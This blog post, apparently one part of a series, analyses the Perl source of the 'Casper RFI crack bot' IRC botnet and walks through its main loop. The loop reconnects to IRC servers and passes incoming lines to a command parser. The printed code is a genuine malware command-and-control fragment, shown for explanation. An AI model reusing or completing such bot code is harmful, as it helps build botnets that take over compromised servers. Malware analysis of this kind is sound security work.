Irregular Expressions

Sep 16 2010   10:05PM GMT

Casper RFI crack bot – Part 12

Dan O'Connor Dan O'Connor Profile: Dan O'Connor

So what is going on next,

my $line_temp;
while( 1 ) {
     while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
     delete($irc_servers{''}) if (defined($irc_servers{''}));
     &DCC::connections;
     my @ready = $sel_cliente->can_read(0.6);
     next unless(@ready);

     foreach $fh (@ready) {
          $IRC_cur_socket = $fh;
          $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
          $nread = sysread($fh, $msg, 4096);
          if ($nread == 0) {
               $sel_cliente->remove($fh);
               $fh->close;
               delete($irc_servers{$fh});
          }
          @lines = split (/\n/, $msg);
          for(my $c=0; $c<= $#lines; $c++) {
               $line = $lines[$c];
               $line=$line_temp.$line if ($line_temp);
               $line_temp='';
               $line =~ s/\r$//;
               unless ($c == $#lines) {
                    parse("$line");
               } else {
                    if ($#lines == 0) {
                         parse("$line");
                    } elsif ($lines[$c] =~ /\r$/) {
                         parse("$line");
                    } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
                         parse("$line");
                    } else {
                         $line_temp = $line;
                    }
               }
          }
      }
 }

This is the main chunk of the script, the first ‘while(1)’ just keeps it going in the loop.

The next while loop is ‘while (!(keys(%irc_servers))) { conectar(“$nick”, “$servidor”, “$porta”); }’ , this is a while loop that ensures that it’s connected to an irc server. The ! is a negation and will call the conectar sub and login. It will keep running this going through the list of IRC servers until successful.

The rest of this simplified is a foreach loop that goes through the connected servers and pulls back the text and passes it off to the ‘parse’ sub that pulls out what to do with the commands.

 Comment on this Post

 
There was an error processing your information. Please try again later.
Thanks. We'll let you know when a new response is added.
Send me notifications when other members comment.

REGISTER or login:

Forgot Password?
By submitting you agree to receive email from TechTarget and its partners. If you reside outside of the United States, you consent to having your personal data transferred to and processed in the United States. Privacy

Forgot Password

No problem! Submit your e-mail address below. We'll send you an e-mail containing your password.

Your password has been sent to: